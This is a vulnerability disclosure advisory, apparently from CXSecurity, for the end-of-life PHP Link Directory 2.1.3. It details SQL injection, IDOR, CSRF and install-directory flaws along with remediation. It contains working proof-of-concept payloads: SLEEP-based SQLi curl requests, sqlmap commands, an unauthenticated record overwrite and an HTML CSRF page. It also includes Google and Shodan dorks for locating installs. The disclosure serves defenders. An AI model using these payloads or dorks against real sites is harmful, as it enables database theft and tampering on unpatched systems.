phpLD 2.1.3 (EOL) has authenticated SQLi in admin/dir_validate.php (CATEGORY_ID) and admin ORDER BY (sort), unauthenticated IDO
phpLD 2.1.3 (EOL) has authenticated SQLi in admin/dir_validate.php (CATEGORY_ID) and admin ORDER BY 2026-6-15 15:29:41 Author: cxsecurity.com(查看原文) 阅读量:1 收藏

phpLD 2.1.3 (EOL) has authenticated SQLi in admin/dir_validate.php (CATEGORY_ID) and admin ORDER BY (sort), unauthenticated IDOR in add_reciprocal.php, CSRF on admin link actions via GET, and exposed install/ after deployment. Verified locally on v2.1.3.

Title: PHP Link Directory (phpLD) 2.1.x Multiple Vulnerabilities Product: PHP Link Directory (phpLD) Vendor: NetCreated, Inc. / phplinkdirectory.com Version: 2.1.3 (affects 2.1.0 through 2.1.3; entire 2.1.x branch likely) Status: End-of-Life (EOL) — no official patch expected from vendor Type: SQL Injection, IDOR, CSRF, Security Misconfiguration Risk: High (authenticated SQLi) / Medium (unauthenticated IDOR) Discovered: 2026-06-14 Published: 2026-06-14 Advisory: PHPLD-2026-001 Google Dork: "PHP Link Directory" inurl:submit.php OR intitle:"phpLinkDirectory" OR inurl:add_reciprocal.php OR "Powered by: php Link Directory" Shodan Dork: http.html:"PHP Link Directory" http.component:php ================================================================================ EXECUTIVE SUMMARY ================================================================================ PHP Link Directory (phpLD) version 2.1.3 contains multiple security vulnerabilities in the administrative interface and public-facing components. The software is legacy/EOL; administrators should migrate to a maintained platform or apply manual patches. Confirmed issues: [1] SQL Injection — admin/dir_validate.php (POST parameter CATEGORY_ID) [2] SQL Injection — admin panel ORDER BY clause (GET parameter sort) [3] IDOR — add_reciprocal.php (unauthenticated link record update) [4] CSRF — admin/dir_links_edit.php (state-changing GET requests) [5] Security Misconfiguration — exposed install/ directory post-deploy NOT vulnerable (verified — false positive prevention): - index.php?q= (search uses $db->qstr()) - submit.php POST fields including CAPTCHA (parameterized / session check) All PoCs below use http://127.0.0.1/phpld/ for authorized local testing. ================================================================================ CVSS v3.1 (approximate) ================================================================================ [1][2] SQL Injection (admin): CVSS 8.1 AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H [3] IDOR (public): CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N [4] CSRF (admin): CVSS 6.5 AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N [5] Exposed install/: CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N ================================================================================ TEST ENVIRONMENT ================================================================================ Software : PHP Link Directory 2.1.3 PHP : 5.x – 7.x (legacy codebase) DBMS : MySQL / MariaDB Base URL : http://127.0.0.1/phpld/ Prerequisites: - Installation completed via /install/ - At least one admin or editor account - At least one link in a category (for dir_validate SQLi test) - At least one link with empty RECPR_URL field (for IDOR test) ================================================================================ [1] SQL INJECTION — admin/dir_validate.php (CATEGORY_ID) ================================================================================ Severity : High CWE : CWE-89 (SQL Injection) Auth : Required (admin or editor session) Method : POST Parameter: CATEGORY_ID Affected file: admin/dir_validate.php (approx. line 122) Vulnerable code: if ($_REQUEST['CATEGORY_ID'] > 0) { $where = " WHERE CATEGORY_ID = '".$_REQUEST['CATEGORY_ID']."'"; } $rs = $db->Execute("SELECT `ID`, `URL`, `RECPR_URL`, `STATUS`, `ID`, `RECPR_REQUIRED` FROM `{$tables['link']['name']}` {$where}"); The CATEGORY_ID value is concatenated directly into the SQL query without sanitization or prepared statements. --- Proof of Concept: Time-based blind --- Step 1 — Authenticate and save session cookie: curl -c cookies.txt -X POST \ "http://127.0.0.1/phpld/admin/login.php" \ -d "user=admin&pass=admin&submit=Login" -L Step 2 — Trigger MySQL SLEEP (expect ~5 second response delay): curl -b cookies.txt -X POST \ "http://127.0.0.1/phpld/admin/dir_validate.php" \ -d "submit=Start&VALIDATE_LINKS=1&VALIDATE_RECPR=0&CATEGORY_ID=1'+AND+SLEEP(5)--+-" Step 3 — Boolean-based confirmation: CATEGORY_ID=1' OR '1'='1 (returns all links in category scope) CATEGORY_ID=1' AND '1'='2 (returns no links) --- Proof of Concept: sqlmap --- sqlmap -u "http://127.0.0.1/phpld/admin/dir_validate.php" \ --auth-url="http://127.0.0.1/phpld/admin/login.php" \ --auth-data="user=admin&pass=admin&submit=Login" \ --auth-type=POST \ --data="submit=Start&VALIDATE_LINKS=1&VALIDATE_RECPR=0&CATEGORY_ID=1" \ -p CATEGORY_ID \ --dbms=mysql --prefix="1'" --suffix="-- -" \ --batch --random-agent --time-sec=5 Impact: Full read/write access to the application database as the configured DB user, including PLD_USER (admin password hashes), PLD_LINK, PLD_CATEGORY. Remediation: Replace with: $where = " WHERE CATEGORY_ID = ".$db->qstr($_REQUEST['CATEGORY_ID']); Or validate: $cid = intval($_REQUEST['CATEGORY_ID']); ================================================================================ [2] SQL INJECTION — admin ORDER BY (sort parameter) ================================================================================ Severity : High CWE : CWE-89 (SQL Injection) Auth : Required (admin or editor session) Method : GET (value stored in PHP session, executed on subsequent request) Parameter: sort Affected files: admin/init.php (approx. line 216) admin/conf_users.php, admin/conf_payment.php, admin/email_message.php, admin/email_sent_view.php, admin/dir_links.php, admin/dir_categs.php, admin/dir_approve_links.php, admin/dir_approve_categs.php Vulnerable flow: // admin/init.php — user input stored without whitelist: $_SESSION['sort'][SCRIPT_NAME]['field'] = $_REQUEST['sort']; // admin/conf_users.php — stored value used in ORDER BY: $orderBy = ' ORDER BY '. SORT_FIELD.' '.SORT_ORDER; --- Proof of Concept: Two-step time-based (MySQL) --- Step 1 — Login (see vulnerability [1], Step 1) Step 2 — Poison session via malicious sort value: curl -b cookies.txt \ "http://127.0.0.1/phpld/admin/conf_users.php?sort=LOGIN,(SELECT+*+FROM+(SELECT+SLEEP(5))a)" Step 3 — Trigger injected ORDER BY on page reload: curl -b cookies.txt \ "http://127.0.0.1/phpld/admin/conf_users.php" Expected: ~5 second delay on Step 3 if vulnerable. --- Proof of Concept: sqlmap --- curl -b cookies.txt \ "http://127.0.0.1/phpld/admin/conf_users.php?sort=LOGIN" sqlmap -u "http://127.0.0.1/phpld/admin/conf_users.php" \ --load-cookies=cookies.txt \ -p sort --technique=T --dbms=mysql --batch Impact: Same as [1] — database compromise via authenticated admin/editor session. Remediation: Whitelist allowed sort columns before storing in session, e.g.: $allowed = array('LOGIN','NAME','EMAIL','ID'); if (in_array($_REQUEST['sort'], $allowed, true)) { ... } ================================================================================ [3] IDOR — add_reciprocal.php (unauthenticated link update) ================================================================================ Severity : Medium CWE : CWE-639 (Authorization Bypass Through User-Controlled Key) Auth : NOT required Method : GET + POST Parameters: id, RECPR_URL Affected file: add_reciprocal.php (approx. lines 71–94) Description: Any remote attacker who knows or brute-forces a valid link ID where the RECPR_URL field is empty can overwrite that link's reciprocal URL without authentication, session ownership, or email verification. Vulnerable code: if ($data = $db->GetRow("SELECT * FROM PLD_LINK WHERE ID = ".$db->qstr($id))) { $data['RECPR_URL'] = $_REQUEST['RECPR_URL']; ... if (SmartyValidate::is_valid($data, "add_reciprocal") && !empty($id)) $db->Replace($tables['link']['name'], $data, 'ID', true); } Note: The id parameter is sanitized as integer; the vulnerability is missing authorization, not SQL injection on id. --- Proof of Concept --- Replace LINK_ID with a valid ID where RECPR_URL IS NULL or empty. Step 1 — Confirm target link accepts reciprocal form: curl -s "http://127.0.0.1/phpld/add_reciprocal.php?id=LINK_ID" | \ grep -i "Reciprocal Link URL" Step 2 — Overwrite reciprocal URL without authentication: curl -X POST "http://127.0.0.1/phpld/add_reciprocal.php?id=LINK_ID" \ -d "RECPR_URL=http://poc.example.invalid/reciprocal.html&submit=Add" Step 3 — Verify in database: SELECT ID, TITLE, URL, RECPR_URL FROM PLD_LINK WHERE ID=LINK_ID; Expected: RECPR_URL updated to attacker-controlled URL; success message "Your reciprocal link has been successfully added" in HTTP response. Impact: Unauthorized modification of directory link records; SEO manipulation; reciprocal link integrity compromise. Remediation: Require email verification token issued at link submission time, or restrict updates to authenticated link owners only. ================================================================================ [4] CSRF — admin link management via GET (dir_links_edit.php) ================================================================================ Severity : Medium CWE : CWE-352 (Cross-Site Request Forgery) Auth : Victim must hold active admin/editor session Method : GET Parameter: action Affected file: admin/dir_links_edit.php (approx. line 41) Description: Administrative link management actions (delete, approve, status change) are performed via GET requests without CSRF tokens. A logged-in administrator visiting an attacker-controlled page can unknowingly trigger these actions. Action format (colon-separated, parsed by split(':', $_REQUEST['action'])): action=D:123 — Delete link ID 123 action=A:123 — Approve/activate link ID 123 action=S:123:2 — Set link ID 123 status to 2 (active) --- Proof of Concept (HTML) --- Save as csrf_poc.html and open in browser while admin session is active. Host on any origin; change BASE and LINK_ID as needed. <!DOCTYPE html> <html> <head><title>phpLD CSRF PoC</title></head> <body> <p>phpLD 2.1.3 CSRF PoC — authorized testing only</p> <script> var BASE = "http://127.0.0.1/phpld/admin"; var LINK_ID = "1"; new Image().src = BASE + "/dir_links_edit.php?action=D:" + LINK_ID; new Image().src = BASE + "/dir_links_edit.php?action=A:" + LINK_ID; </script> </body> </html> Impact: Unauthorized deletion or approval of directory links via social engineering. Remediation: Implement CSRF tokens on all state-changing admin actions; use POST-only mutations; set session cookies with SameSite=Strict. ================================================================================ [5] SECURITY MISCONFIGURATION — exposed install/ directory ================================================================================ Severity : Medium CWE : CWE-16 (Configuration) Auth : NOT required Description: The installation wizard under /install/ is intended to be removed after deployment. If left accessible, it may allow database reconfiguration or reinstallation depending on server and session state. --- Proof of Concept --- curl -I "http://127.0.0.1/phpld/install/index.php" Expected secure deployment: HTTP 404 or 403 Vulnerable deployment: HTTP 200 OK Impact: Potential database credential overwrite, site takeover on misconfigured hosts. Remediation: Delete the install/ directory immediately after successful installation. ================================================================================ REMEDIATION SUMMARY ================================================================================ 1. DELETE install/ directory after setup 2. PATCH admin/dir_validate.php — escape CATEGORY_ID with $db->qstr() 3. PATCH admin/init.php — whitelist sort column names 4. PATCH add_reciprocal.php — add ownership/token verification 5. PATCH admin/*.php — add CSRF tokens; convert GET mutations to POST 6. MIGRATE away from phpLD 2.1.x (EOL, unsupported, PHP 5.x era code) 7. RESTRICT admin panel by IP allowlist or VPN where possible ================================================================================ TIMELINE ================================================================================ 2026-06-14 Vulnerability discovered and verified on local installation 2026-06-14 Vendor notification attempted — product EOL, no active maintainer 2026-06-14 Public disclosure via CXSecurity (PHPLD-2026-001) ================================================================================ REFERENCES ================================================================================ Product : http://www.phplinkdirectory.com/ Version : 2.1.3 (include/version.php — CURRENT_VERSION) Advisory : PHPLD-2026-001 Researcher: Xasthur ================================================================================ LEGAL NOTICE ================================================================================ This advisory and all included Proof-of-Concept code are provided for authorized security testing and responsible disclosure purposes only. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse of this information. ================================================================================



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2026060007
如有侵权请联系:admin#unsafe.sh